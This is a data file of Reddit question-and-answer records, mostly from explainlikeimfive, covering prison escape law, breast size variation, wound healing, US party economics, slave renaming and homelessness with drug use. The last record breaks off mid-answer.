{"q_id": "2p5mhk", "title": "if a person is convicted of a crime and gets imprisoned, and then escapes, but then it's proven that they never committed the original crime, can they still get in trouble for escaping?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p5mhk/eli5_if_a_person_is_convicted_of_a_crime_and_gets/", "answers": {"a_id": ["cmtl1td", "cmtl2qw", "cmtl4cx", "cmtl64m"], "score": [30, 3, 24, 7], "text": ["Yes and no. Escaping from a prison facility is a felony. And any additional crimes committed during the escape are also still punishable. But if the escape didn't hurt anyone or property and you were found to be innocent while you were on the run it is unlikely that a prosecutor would file charges as long as you were cooperative. It is also likely the facility would insist that you divulge the details of your escape so that they can prevent further attempts. \n\nIt would likely also require that you don't file a civil case against the state.", "Depends on your country, some countries considers it legal to escape as it is \"human nature\" , however if you've broken any rule while escaping you can be charged for that. ", "Yes, because it's a separate crime... in the U.S. Oddly enough, in Mexico, it's considered a prisoner's duty to escape, so if you do it there, then you get off for escaping.", "_URL_0_\n\nIn most countries, the jailbreak is a crime in itself, as are any laws (eg - assaulting guards, stealing cars) you break in the process.  You might convince the court to give you leniency, as your innocence is an extenuating circumstance but it is *not* a defense.\n\nThere are a few exceptions, countries in which a jailbreak is seen as part of human nature and not punishable by itself (but crimes committed in the process still are)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Prison_escape"]]}
{"q_id": "mzrad", "title": "What are the juice sacs of oranges made of?", "selftext": "I have been searching for what kind of tissue forms the pulp of oranges (endocarp). I have read something about that the little sacs inside the segments of an orange are actually modified hair cells... Can anyone expand this a little more? are this \"little sacs\" just a cell or are they conformed by an epithelium which contains the actual orange juice?\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mzrad/what_are_the_juice_sacs_of_oranges_made_of/", "answers": {"a_id": ["c355iaz", "c355iaz"], "score": [3, 3], "text": ["Mostly cellulose, hemicellulose, and pectin, so probably similar in composition to normal cell walls.", "Mostly cellulose, hemicellulose, and pectin, so probably similar in composition to normal cell walls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5etldw", "title": "why do boobs vary so much in size, many being 4x larger than others, but no other body part , like hands and feet, can be 4x larger than others, generally speaking.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5etldw/eli5why_do_boobs_vary_so_much_in_size_many_being/", "answers": {"a_id": ["daf19kj", "daf35db", "daf4mjg", "daf64t0", "daf6xob", "daf890e", "daf9p0y", "daf9ya9", "dafa0wm", "dafa4ue", "dafadpb", "dafb335", "dafb4ox", "dafbygx", "dafe98j", "daff6km", "daffuuy", "dafg869", "dafgkax", "dafh0hr", "dafh7xr", "dafi01a", "dafjsys", "dafkm2f", "dafl3yc"], "score": [1153, 16, 318, 1039, 25, 14, 14, 10, 8, 29, 12, 22, 5011, 22, 8, 2, 2, 2, 2, 19, 3, 474, 2, 20, 2], "text": ["Hands and feet size is determined by bone growth. Unless there is a medical issue like giantism, bones are only going to get so big. Boobs don't have bones in them, they're full of fat and mammary glands. Fat CAN keep growing. Think about how a person's stomach or arms can be 4x larger than another person's. This is also why your breasts can grow or shrink when you gain or lose weight. Feet aren't going to get shorter when you lose weight, though they can get less \"puffy\". ", "Irrespective of weight and pregnancy there is still massive variety. Like cheeks. You can have someone who isn't overweight with massive cheeks and you can have an overweight individual with skinny cheeks.\nedit - answer to the question of why? genes ", "Other body parts that vary by about as much have structural similarities:\n\n* buttocks\n* thighs\n* bingo wings\n* belly\n\nEssentially, most of the mass of breasts, especially in notably large ones, is fat. The actual glandular part does vary somewhat, but most of the variation you see on a daily basis is fat.\n\nAs an illustration, here's what a very overweight man looks like by X-ray: _URL_0_\n\nEDIT: sorry for the CGI, but thanks for the great love reddit has shown for \"bingo wings\" :-)", "There's a couple of factors that influence breast size and shape:\n\n-The genes you inherit and your weight during adolescence (edit: this prob affects density more than size) are pretty strong influencers of final core size at the end of puberty.\n\n-Then you have your current body fat % which will change things further.\n\n-Finally there's also a development stage when you either first get pregnant or go on certain contraceptive pills. If you never get pregnant or go on that pill you don't undergo this.\n\nThe genetics is pretty interesting, 23andme did a study which discovered some of the variants that increase breast size (The poster: _URL_0_ and the article _URL_1_ ). We Humans pick the person to have sex with in a semi non-random fashion (unless drunk) but also the cultural perception of desirability (aka whether people in your nation like boobs or bums or ankles) varies (the ~~Romans~~ Greeks for example thought large penises were silly and unattractive) so the size of a body part which is not crucial to survival and reproductive success (because most of us in the end want to have our kids with the girl who isn't crazy rather than the girl with the biggest boobs) isn't going to be under very strong selection when other factors matter more.\n\n*Edit: Added the article.*\n\n*Edit 2: I'm told it's the Greeks that liked small penises*", "Medical Student Here-the reason why we have morhphological changes between people is mainly due to differences in hormone balances, there are numerous hormone regulation systems, some that increase while others that decrease hormones and some hormones affecting others release/production. For example pregnant females have progesterone and prolactin increases that result in expanded mammalary glands that result in bigger boobs. If we take a step back we then evaluate how different proteins and cellular functions lead to these hormones being generated and regulated and what controls these proteins? It is due to genetics and gene expression. TL;DR-hormones alter development, genes control those hormones. ", "Breasts evolved through sexual selection, meaning they don't serve any functional value other than that our male ancestors found them attractive. They are not functional in the sense that large and small breasts don't have any differences in milk production during lactation. Different cultures and populations over the last 100 thousands of years had different preferences and the constant mixing of these genes causes the great variety of breast size and shape that we see today. So the simple answer is genetics, and the why is sexual selection. This goes both ways too. Flaccid penis size and facial hair were sexually selected for as well. These features were selected for by our female ancestors. The interplay of these various genetic factors creates the variety that we see today.", " >  no other body part\n\nNot true. Granted, structural (skeletal) elements are generally \"proportional\" but all the sex organs can and do vary wildly in size. You're gonna have to do your own research on this one, though.", "It's all about fat deposition. Wherever fat can freely deposit, those places will vary. Women just happen to have two sacs where tons of fat can deposit. Fat also deposits around the trunk, under arms, thighs, butt, etc.", "From an evolutionary perspective, because it doesn't matter. Just like penis size varies a lot, because as long it's not extremely small or extremely big, it doesn't matter.\n\nUsually features that don't matter that much are allowed to have a lot of variation.", "No other body part? How about penis size? in fact there are quite a few body parts that can range in size that extremely, and almost all of them are opposite extremes of the spectrum of what is (generally) considered to be attractive. ", "A hand or foot would become dysfunctional if far too large or far too small, but breasts can vary to a large degree and remain functional.", "Because breasts are fat storage regions, like the ass cheeks, midsection, and thighs. I have definitely seen a person with an ass four times as large as another person ", "Time for my evolutionary biology degree to shine! \n\nLike some posters already mentioned, they vary by body weight, genetics, etc., but that doesn't get to the root cause. Why are they so variable in the first place? Ears, for example, are almost identical sizes across a population, and they don't really have a very serious function or bones to hold them together. \n\nThey key factor that has been missing from this discussion is **symmetry**! Breasts are under sexual selection, that is, natural selection not by what makes you \"fittest\" but by what makes you more \"sexy\" to others in your species. Large breasts are preferred, but asymmetric breasts are strongly disliked. The balance between these is what makes breasts so \"unstable\" as a trait in humans.\n\n[Here is an incredibly relevant paper, from 1997.](_URL_0_) I'll break down the abstract for you below. \n\n > Breasts in humans are highly sexually dimorphic compared to other closely related primate species. \n\nThat means, human males and human females have markedly more different breast sizes than similar species \n\n\n >  One possible explanation for this increase in breast size is that breast asymmetry contains information regarding women's phenotypic quality. \n\nThis presents the hypothesis: that breast asymmetry is a signal for the overall \"quality\" of the woman.\n\n >  The purpose of this work was to consider the relationship between asymmetry and measures of body size, body composition, and fertility. We found significant associations between breast asymmetry and height, body mass, and breast volume (positive associations), breast \u201cdensity\u201d (negative association), and the woman's age and her age at first childbirth (positive associations). \n\nWhat they actually found: asymmetric breasts are more common in tall, heavy women, in larger but less dense breasts, and more common in older women.\n\n >  The relationship between asymmetry and breast volume showed evidence of negative allometry, that is, women with large breasts had smaller asymmetry than expected for their breast size. Asymmetry was lower in married women compared to unmarried women and negatively related to offspring number. A multiple regression analysis, with breast asymmetry as the dependent variable, showed a strong significant relationship with breast volume (positive association) and significant relationships with age at first childbirth (positive association) and number of offspring (negative association). Asymmetric women therefore had fewer children later in life that did symmetric women. Simple linear and multiple regression analysis showed that breast volume was a strong predictor of body size and composition (weight, height, and breast density) and a weak predictor of age and age at menarche. It was not related to offspring number or age at first childbirth. \n\nThis is some added proof to back up their theory, saying that small breasts are even more symmetrical than you'd expect, and that married women with lots of children had symmetrical breasts. \n\n >  Our data support the thesis that mammotropic hormones, particularly estrogen, are harmful because they suppress the immune system. Heavy women with high levels of body fat produce more estrogen and, therefore, bigger breasts. However, more estrogen leads to an increase in breast asymmetry. Women with \u201cgood genes\u201d are able to produce symmetric breasts despite the presence of large quantities of estrogen. Large and symmetric breasts are therefore honest signals of high phenotypic quality in women.\n\nAnd finally their conclusion: big breasts are good, but the way to make them is to have more estrogen, and that also means more asymmetry. Because estrogen weakens the immune system, it's bad for the overall \"quality\" of the woman. So only women with very good genes and very good health can have breasts that are both large and symmetrical. Because it's easy for parts of this to go wrong, you get lots of variability. ", "I think this is less of a question about physical influences (e.g., diet, exercise, etc.), but rather a question about evolutionary theory. Why do breast sizes vary in the first place?\n\n >  \"The cause of the original variability of secondary sexual characters is not manifest; but we can see why these characters should not have been rendered constant and uniform as other parts of the organization; for secondary sexual characters have been accumulated by sexual selection, which is less rigid in its action than ordinary selection, as it does not entail death, but only gives fewer offspring to the less favored [fe]males.\" - Charles Darwin, *On the Origin of Species*", "There are two things that increase the variation, that is the spread around a mean (average) value: Selective sweep and genetic drift. \n\nSelective sweep is when a trait is strongly selected for or against. The boobies have been under tremendous sexual selection in human populations, since they signal sexual maturity and also the capacity of producing milk (even if the latter is wrong, our ancestors might not have noticed it and hence, they might have been the victim of a spurious correlation). \n\nThe other reason, genetic drift, occurs especially when the population is big, then small, then big again (aka \"bottleneck\"). Drift is simply the change in genetic variation among a population due to random effects. We know that humans were impacted by genetic drift since in fact, human population size went down to about 10-30 thousand individuals about 60-70 thousand years ago (even though this bottleneck is controversial among evolutionary biologists, there are signs of a bottleneck which may had been just a longer bottleneck than usual, with even fewer individuals). \n\nSo, when these two are combined, it is actually mathematically imperative that variation has to increase. And that, my friend, is why we have lots of different boobies and gosh, dare to tell me that you don't love evolution! :P", "A better way to think of this question is, \"Why would natural selection have resulted in boobs of such variety.\"", "They store fat, like other body parts that can be 4x bigger between individuals. Butts, stomachs, and thighs all come in as much size variation as boobs do. ", "Most of the make-up of, and variation in boobs is fat. Amount and location of fat on people's bodies is affected by lots of things, including exercise. Some women's boobs, butts, hips change a lot during their lives- mostly because changes in amounts of fat. ", "Also.. does breast size affect milk production at all?", "Same for the penis. Via an approximation using the volume of a cylinder: \nV = \u03c0r^(2)h \n\nh = length.\nUse girth as circumference to find r. Circumference or girth is C = 2\u03c0r, solve for r.\nr = C/(2\u03c0)\n\nPlug r back into V:\n\nV = \u03c0(C/2\u03c0)^(2)h\n\n= \u03c0C^(2)/(4\u03c0^(2))h \n\n= C^(2)/(4\u03c0)h\n\n= C^(2)h/(4\u03c0)\n\n\nFor a smaller penis, say 4\" long by 3\" in circumference (erect) the volume\n\nV = 3^(2)*4/(4\u03c0) \n\n= 2.86 cubic inches\n\n\nFor the average penis size of 5.5\" with 4.5\" girth the volume is 8.86 cubic inches\n\n\nSay a slightly larger penis at 7\" and the girth of the top of a soda can that is 2.13\" in diameter or C = 2\u03c02.13/2 = 6.69\" is \nV = 6.69^(2)*7/(4\u03c0) or 24.93 cubic inches\n\n\nFor a longer penis, say 8\" by 6\" the volume is 22.92 cubic inches\n\n\nThese differences are huge! The volume of say 3 cubic inches is 7 times smaller than 21 cubic inches.\n\nTo any porn entranced boys and girls, you may think you've had that sweet cherry on top when you get the larger, but until you've had sex with real love and adoration for *who* you're with, you just don't know what real hunger is. Try this for a thought-experiment, and then really try it: Go get that favorite soda or dessert, and taste it when you're definitely only somewhat in the mood or just in the mood for it. How is it? Good, probably. Ok, wait... wait until you're really thirsty, like on a hot day after sweating and you're comfortable with the idea of quenching your desire. Isn't it delicious? I mean, that same bottle of soda, nothing has changed except *you*! Unfortunately for most of us, we're just too dull in our senses and personal sense of self to discern exquisite longing from normal desire. Obviously there's a difference, but to too many, it's the only difference.", "Variation is primarily due to the large variation of hormones. Breast tissue is hormone sensitive.", "[This](_URL_0_?) [**NSFW**] recent post is what inspired my question. I've seen many breasts in my lifetime but something about the shape and mass of this one sparked the question. I did think about the fat theory but as we've all seen, online at the very least, that some girls are skinny with large breasts, and bellies and butts in these thin women are never 2x-4x larger in size compared to other skinny women with small breasts. And many mention dicks but generally speaking they don't vary in size to such a degree. Even in the inspired picture, her breasts are closer to 6x larger then some, [Keira Knightley](_URL_1_) [**NSFW**] is a wonderful example. \n\nThere were a lot of explanations as to the how, but the root of the question is to the why. Why are breasts, in particular, a evolutionary free for all. Well.... With that being said, I say, set them free.\n\nExcellent responses ladies and gentlemen. I think every man should know this so when a woman removes her push up bra, he'll understand better as to where the tits went, and every woman should know this so they understand better as to why their BFF Stacy has bigger ones then hers and to help minimize confusion.", "I'd say noses can vary as much in size as breasts.. you can have tiny flat ones, or huge beaky ones. I'd guess the reason that all sizes in between still exist, is down to the fact that enough people are attracted to noses of such a wide range of sizes, that no one particular size has 'won out' in evolutionary terms. Same with breasts. If all men liked large breasts, then all breasts would be large. If all people liked small noses, then all noses would be small. \n\nAdmittedly, I am no biologist. But I have done considerable field work on the subject of breasts.", "Let's talk *sexual selection,* the more fun and less gruesome (but equally merciless) sister of *natural selection*.\n\nTo go straight to the most famous and clear example, breasts have the same challenge as the peacock's tail: bigger is often better (although it's also a matter of proportion etc and in the modern human world cultural preference and experience might be relevant too), but on the one hand it has side effects and on the other only genetically good individuals can successfully pull it off. It takes the right balance to get there and of course you also need to survive once you have it.\n\nTo go to the peacock: in general (and a tad simplified), the bigger the tail the more likely female peacock's will mate with a male. But symmetry is also important and the male also has to be in good health - and bad health shows first and foremost in weak colours and damage of the tail. So the male with a smaller but symmetric tail and good health is more likely to reproduce than the one with a bigger but less symmetric tail and/or worse health. Either one has a chance, but *on average and/or over many generations* this effect is measurable. There is also a natural limit (which might be somewhat changed by eg modern medicine) where a peacock's large tail/a woman's large breast might not just be difficult for the body to 'do well' but will also negatively affect health and survival - eg women with big breasts have plenty of back problems (and in a world without clothes might more quickly show their age weigh sagging breasts...) and peacocks with big tails will have trouble escaping predators and keeping themselves healthy and alive. So only genetically good individuals (or in modern humans this might also be those with access to resources, eg through well-off parents that had good food  &  medical access - this is an alternative or *additional* marker of mate quality) will be able to sustain such a feature in a good quality until mate choice/reproduction.\n\nIn evolutionary theory those are considered 'honest signals'. - they are desirable features but not every individual can show them to the same degree. This they form an important element in sexual selection - the more 'choosy' a species is the more important are such signals. Another example are large antlers in deer and moose or complicated songs and unusually long and colourful feathers in some bird species.\n\nLast note: in humans the female hip-to-waist ratio seems to be a more important and stable marker for genetic quality (or rather: fertility). There is not just some modern scientific evidence for the correlation (it's not a direct link - the right hip to weight ratio does not improve fertility, rather both are affected by the underlying health from gestation onwards), but even across art of all centuries the same ratios are popular - even when tastes for overall bodyweight, including the usually somewhat weight-proportional breast size, changed over time.", "I will attempt to summarize the answers in a way that a 5 year old might understand, as I see a lot of abstracts from studies and we can simplify, right? \n\nThey CAN grow as much as they do because it's mostly fat. Just like butt cheeks and bellies. Hands and feet, on the other hand, are limited by bones. \n\nThey DO VARY because of natural selection. If in some region, women with large breasts were considered more attractive, they were more prone to have more children, transferring that trait more. Additionally, hormones control their size and hormones can go crazy due to food, puberty, pregnancy and more. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://hybridtechcar.com/x-ray-body-400-pound-man-5-photos/"], ["https://blog.23andme.com/wp-content/uploads/2012/11/Genetic-Variants-Associated-with-Breast-Size-and-Cancer.pdf", "http://bmcmedgenet.biomedcentral.com/articles/10.1186/1471-2350-13-53"], [], [], [], [], [], [], [], [], ["http://www.ehbonline.org/article/S0162-3095\\(97\\)00002-0/abstract"], [], [], [], [], [], [], [], [], ["https://www.reddit.com/r/RealGirls/comments/5eqnrt/feathers_in_her_hair/", "http://i.imgur.com/8PLwg5j.jpg"], [], [], []]}
{"q_id": "4gbj3l", "title": "what does the fluidity of sexuality actually mean?", "selftext": "And if it is really fluid (in the way that the word suggests) why is being unhappy with your sexuality and wanting to shift it one way or the other a bad thing?\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gbj3l/eli5_what_does_the_fluidity_of_sexuality_actually/", "answers": {"a_id": ["d2gox1x"], "score": [2], "text": ["This is a politically sensitive issue and the two answer already given have described the views from two ends of the spectrum.\n\nI\u00b4ll now try to give you a more scientific, unbiased (if possible) answer:\n\nBy sexuality we most often refer to the preferred gender for sexual and romantic relation. The relevant gender(s) are both your own and of the object of your desire. The most mainstream definitions would say there are three types of sexuality:\n\n* Heterosexual - Being attracted to the opposite gender\n* Homosexual - Being attracted to your own gender\n* Bisexual - Being attracted to either gender\n\nHowever many studies have shown that sexuality is not a fixed attribute e.g. over lifetimes people have switched between their preferred gender. Additionally a type system was deemed unfit in describing the reality of peoples sexuality.\n\nThis is why an axis has been proposed, on one either end you have the classical extremes of homo- and heterosexuality with everything in between.\n\nFluid sexuality thus refers to both, the recorded changes in sexuality of individuals as well as the fluid states in between the stated extremes.\n\nNow from a purely scientific point of view there would be nothing wrong with wanting to shift your sexuality but there is no consensus on whether this is possible. There is also a lot of subjectivity in this, take the case of a reformed homosexual man.\n\nHe once was homosexual but due to his religious leanings and his surroundings he underwent conversion therapy and now has a wife. He has irregular sex with her and still thinks sexually of men but would never ever consummate such an act. Is he homosexual, heterosexual, bisexual? Did he really change or just pretended to? Answering that is subjective and depends whether you judge by behavior or attitude."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2m7l0m", "title": "what is the difference in economic policy between republicans and democrats? (u.s.)", "selftext": "edit: thank you all for your comments. all quite helpful. I was also interested in the explanation of the Republican and Democrat viewpoint of International economic policy as well. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2m7l0m/eli5what_is_the_difference_in_economic_policy/", "answers": {"a_id": ["cm1nk28", "cm1nyui", "cm1odb8", "cm1orbz", "cm1owp3", "cm1pj1l", "cm1t4ax"], "score": [2, 5, 10, 2, 2, 2, 10], "text": ["Generally, the Democrats want to put more money into social services such as medicare, education, welfare, unemployment insurance, etc even if it means that we would have to temporarily continue to increase the debt. This is because it would help people get back on there feet and then people would have more income to pay taxes so we would eventually be able to pay ourselves back. The republicans feel that our debt is too high and want to cut spending. they are advocating that we should not be able to borrow any money and should only be able to spend what we bring in with taxes. They also what to cut taxes because they feel taxes create a disincentive for people to work.", "To add to what /u/hot4you11 said, Republicans believe that by reducing taxes for the rich and allowing them to keep more of their money then they will buy more stuff and thereby help the economy move. Republicans also see high taxes on the rich as punishing success. They also believe that by lowering taxes and cutting spending they can actually increase gov't revenues. How? With more money to spend, people will do more and thereby allow for more taxing opportunities. \n\nThis is, of course, complete bullshit. \n\nSource: Former Republican", "Democrats want to put money into social programs.  They believe that given the chance, most people will work.  However there are a significant percentage of people who are not working because of issues surrounding education, child care, health or other aspects of being poor.  Essentially they want to \"help people up, so they can get back to work\"\n\nGetting more people to work will improve their quality of life AND bring in additional tax money (because working people pay more taxes).  Basically they want to soften the landing so when people fall off the ladder they can get back on and keep climbing. \n\nDemocrats feel that if you give extra money to rich people they are only going to spend it on rich people things and that won't benefit poor people at all.\n\nRepublicans are the opposite.  They think that if you give money to people who are not working, you create an incentive to be a lazy ass.  They think that if you make it harsher to be poor, fewer people will want to be poor and therefore more people will work.\n\nThey also feel that if you give tax breaks to the wealthy then those wealthy people will use that money to invest in businesses who will turn that investment into jobs.\n\nGenerally republicans favor lower taxes in an effort to increase the tax basis.  Democrats want to increase the tax basis by spending money to bring poor people up to a level where they can be productive workers. ", "Republicans are free marketeers. Democrats are Keynesians.", "Classic Democrat: \"We're all in this together!\". Considered liberal in both a fiscal and social sense. Democrats believe we should *all* contribute and get something out of it. They tend to support building public goods. New infrastructure, hospitals, social programs, etc. You pay for this with higher taxes. \n\nClassic Republican: \"Every man for himself!\". Considered conservative in a social and fiscal sense. It's not the government's job to help you - you should help yourself. Let's lower taxes so each person has more money. They can spend it themselves on private schools, private hospitals, etc - and get *what they deserve* instead of paying for other people. \n\nIf you are socially liberal, but fiscally conservative - you are said to be Libertarian.", "Democrats: \"We can't govern. We hate ourselves. \nRepublicans: \"We're just plain evil. We want what's worst for everyone.\"", "In an attempt to summarize this as simply as possible with minimal bias:\n\nRepublicans (in general) believe the free market is the best way to run the economy. This means that they support minimal government regulation and taxation of businesses. The theory is that if everyone does business in the most effective way for them, then everyone will benefit from overall economic growth. Republicans tend to have an ideology of \"small government\" in this way.\n\nDemocrats are less trusting of the free market. They tend to argue that just because a business makes money, it does not follow that everyone who contributes to that business will as well. They argue that since the rich have more money, they have more power in the free market and so the free market doesn't necessarily help the people who need it. To deal with this, democrats tend to support taxing and regulating businesses more so the money can be spent on public programs, particularly those that help those with less money.\n\nKeep in mind, this is pretty simplified, and just my understanding of it as an American who doesn't affiliate with any party, but still sits slightly left-of-center politically. I hope this helps a bit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "dzc0jo", "title": "why do your eyes bulge out when you suddenly realize you forgot something, or see something creepy/weird?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dzc0jo/eli5_why_do_your_eyes_bulge_out_when_you_suddenly/", "answers": {"a_id": ["f86m8lz", "f86o1bl", "f86q704", "f86xfgt", "f86xqzd"], "score": [148, 5, 3, 12, 2], "text": ["Your body is in \u201cWTF is that mode?!\u201d and that makes your body hyper focus its muscles in attempt to do everything in its utmost to survive. Your muscles being all like, \u201cbetter go full blasty blast right now!\u201d pops your eyes out.", "Humans are social animals and social mammals evolved facial cues to communicate long before language. Looking sad or scared or happy can communicate critical information to people around you without speaking. When you're surprised, your eyes get wide and that lets people around you know something is up.", "It might be a bit pedantic, but your eyes do not literally bulge out. Your eyebrows lift and this exposes more of the white of your eyes - making it seem larger and it appears to protrude out since the eyelid is pulled back.", "Your eye open wide to let in lots of light--that helps you see better. Your mouth can open to let you breath better. Gets you ready to \"fight or (take) flight\" (run away).  It's a way your body gets you ready for facing a challenge.", "It's the flight/fright response, which comes from the sympathetic nervous system.  There are two muscles that open your upper eyelid - the levator palpebrae superioris and the superior tarsal muscle.  The first is under your conscious control and the second is activated by your sympathetic nervous system, meaning that it is involuntary and occurs with the flight/fright response.  Also, your pupil dilates, making you look even more wide-eyed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "bg384r", "title": "does exposing a wound to 'fresh air' actually promote beneficial recovery?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bg384r/eli5_does_exposing_a_wound_to_fresh_air_actually/", "answers": {"a_id": ["elhzhji", "elhziyp", "elifpmv", "elis6ry"], "score": [23, 4, 9, 3], "text": ["No, it does not. Wounds heal more optimally in moist conditions. If you let the wound air out, you are also letting it dry out which can inhibit healing. If the wound is already covered (with new tissue, scabbing, etc.) then the point is moot.\n\nThat said, you should still periodically change your bandage as they become soiled and inspect the wound to make sure it is, in fact, healing and not infected.", "The fresh air doesn't do much of anything to promote healing directly.\n\nThe point is that a wound has to be kept at the right moisture levels. If the wound is too dry, it won't heal properly. If the wound is too wet, it won't heal properly.\n\nLetting a wound \"breathe\" is just letting moisture evaporate off of it to dry it out a bit.", "It\u2019s not a case of \u201clet it breath\u201d. It\u2019s rather that the same conditions for the wound to heal are also optimal for bacteria to multiply. The warm, protected, moist environment is a heaven for all sorts of germs.\n\nThat\u2019s why you need to sanitise the wound and change the dressing periodically. But like others have said, letting it \u201cbreathe\u201d will also cause it to dry out, which hinders the healing process significantly.", "One thing I haven't seen mentioned yet: some pathogens, such as the tetanus bacterium, thrive in *anaerobic* conditions, i.e. environments with little or no exposure to oxygen. This is why tetanus infections are commonly associated with puncture wounds (e.g. stepping in a nail), where the pathogens can be delivered deep underneath the skin where there isn't much oxygen, allowing the bacteria to grow and spread the infection. Wrapping a wound in bandages (especially without disinfecting it first) could create similar low-oxygen conditions that allow tetanus or other anaerobic bacteria to thrive. Exposing the wound to fresh air, on the other hand, would kill those bacteria. This doesn't speed up recovery from a tissue repair perspective, though - it just might help to prevent infections that could make the problem go from bad to worse.\n\nEDIT: To qualify this a little bit more: if you are able to thoroughly disinfect the wound, then bandages on the whole may protect against infection by preventing exposure to new pathogens. If you are not, then bandages may encourage infection by trapping existing pathogens and creating favorable conditions for them to thrive. The [Mayo Clinic](_URL_0_) e.g. has this to say: \n\n > Leave unclean wounds open to avoid trapping bacteria in the wound with a bandage."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.mayoclinic.org/diseases-conditions/tetanus/diagnosis-treatment/drc-20351631"]]}
{"q_id": "1h5m9f", "title": "You know that popular image of southern slave traders whipping blacks until they agreed to answer to their Anglo slave name, did that sort of thing really happen often? Were they really that strict about slave names?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h5m9f/you_know_that_popular_image_of_southern_slave/", "answers": {"a_id": ["car5nzo"], "score": [16], "text": ["Yes, this sort of thing did happen very often, at least in my limited experience of reading slave narratives. Slave traders and owners were incredibly strict about cracking down on practically *any* expression by their slaves of any culture other than the culture of slavery, largely because they were extremely paranoid about rebellion. (You can't enslave millions of people and expect them not to rebel unless you take some pretty drastic measures.) The enforcement of slave culture included mixing together newly imported slaves from different places in Africa, creating linguistic barriers and forcing slaves to learn English. Any expressions of African art or religion were severely punished, or even modes of Christian expression that fell outside the norm established by the masters (with its emphasis on Biblical passages about slaves dutifully obeying their masters, in contrast to the slaves' preferred passages about Moses leading his people out of Egypt). Allowing a slave to retain an African name gave him or her a definitive link back to home, family, and country; *all* such links had to be severed in order for the slave to become fully psychologically integrated into slave culture.\n\nIt certainly happened to Olaudah Equiano on the boat from Africa to England, as he recounts in his *[Interesting Narrative](_URL_0_)*:  \n\n > While I was on board this ship, my captain and master named me Gustavus Vasa. I at that time began to understand him a little, and refused to be called so, and told him as well as I could that I would be called Jacob; but he said I should not, and still called me Gustavus; and **when I refused to answer to my new name, which at first I did, it gained me many a cuff**; so at length I submitted, and was obliged to bear the present name, by which I have been known ever since.  \n\nThis case is a little odd because Equiano acquired both the names Jacob and Michael after having passed into the hands of English-speaking slaveowners, but for unclear reasons he didn't seem to mind those two as much as Gustavus Vassa; maybe he was tired of having his name arbitrarily changed all the time. He later went back to the Igbo name by which he wrote his autobiography.  \n\nSolomon Northup, in his *[Twelve Years a Slave](_URL_1_)*, mentions being given the name Platt:  \n\n > \"Captain, where's Platt?\" demanded Theophilus Freeman.  \nThe captain was unable to inform him, no one being, on board answering to that name.  \n\"Who shipped that nigger?\" he again inquired of the captain, pointing to me.  \n\"Burch,\" replied the captain.  \n\"Your name is Platt\u2014you answer my description. Why don't you come forward?\" he demanded of me, in an angry tone.  \nI informed him that was not my name; that I had never been called by it, but that I had no objection to it as I knew of.  \n\"Well, I will learn you your name,\" said he; \"and so you won't forget it either, by ----,\" he added.  \n\nAny actual violence done to Northup in the interest of \"learning\" him his name is not recorded, but he does end up acceding to the name Platt. Northup's case is particularly interesting because he was a free Northerner who had been abducted from his wife and children and sold into slavery under the pretense that he was actually an escaped slave from Georgia named Platt. Forcing him to submit to his new name was therefore obviously a necessity for the slave traders."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://docsouth.unc.edu/neh/equiano1/equiano1.html", "http://docsouth.unc.edu/fpn/northup/northup.html"]]}
{"q_id": "cdovzo", "title": "why do many homeless people start doing drugs when they already have little money to begin with?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cdovzo/eli5_why_do_many_homeless_people_start_doing/", "answers": {"a_id": ["etvcrw5", "etvctxd", "etvcu1f", "etvcvk6", "etvcyzd", "etvd7uo", "etvdt5u", "etve5mp", "etvgnvb", "etvhck5"], "score": [25, 2, 7, 6, 12, 5, 17, 4, 2, 2], "text": ["I think you may have that backwards, or at least you are asking the wrong question. Many people become homeless after they start doing drugs. Many people who are homeless neither do drugs or drink alcohol.  Many people who are homeless have mental issues which are not properly treated.", "Many drugs--especially harder drugs--provide an intense feeling of pleasure, and in small enough doses that it's cheap to get... at first. As you use them, you build a tolerance that means you need more to feel the same pleasure, but by that time you're addicted and need the drugs to even feel baseline. \n\nImagine you're homeless. You were just fired, or your SO left you, or whatever else. You feel alone, miserable, like the world will never get better. And someone hands you $5 worth of this substance that stimulates the pleasure centers of your brain in ways the brain was not designed to handle. You get addicted *real* quick.", "It is a momentary escape from their terrible lives. from their perspective, for those few hours they are high, they are free.", "Most of the time, the kinds of drugs they would take aren't as expensive as you'd think.\n\n & #x200B;\n\nLook at it like this, if you're on Medicare and Medicaid (which most of them would be.  You can be on medicare under 65 if you're disabled), a bottle of hydromorphone (dilaudid) is $8 for a month supply.   That's a hell of a lot cheaper than a single beer every day.\n\n & #x200B;\n\nThere are drugs for all economic realities.", "1. Drugs are a lot cheaper than you think. \n\n2. And they are a very quick and easy way to get dopamine (feel good). \n\n3. When everyone just walks past you ignoring you for years it\u2019s not hard to see why they need the dopamine hit.", "Some people take drugs and become addicted to them. They then spend all their money on drugs and can no longer afford to pay rent or a mortgage so their landlord or lender makes them leave their home. They are now homeless and addicted to drugs. \nSome other people leave home, maybe due to abuse or an argument, they have nowhere to live and little income. They find companionship with others who are on the street and are targeted as customers of the people who sell drugs. The drugs allow them to escape their painful experience. \nGive the homeless homes and you solve some of the 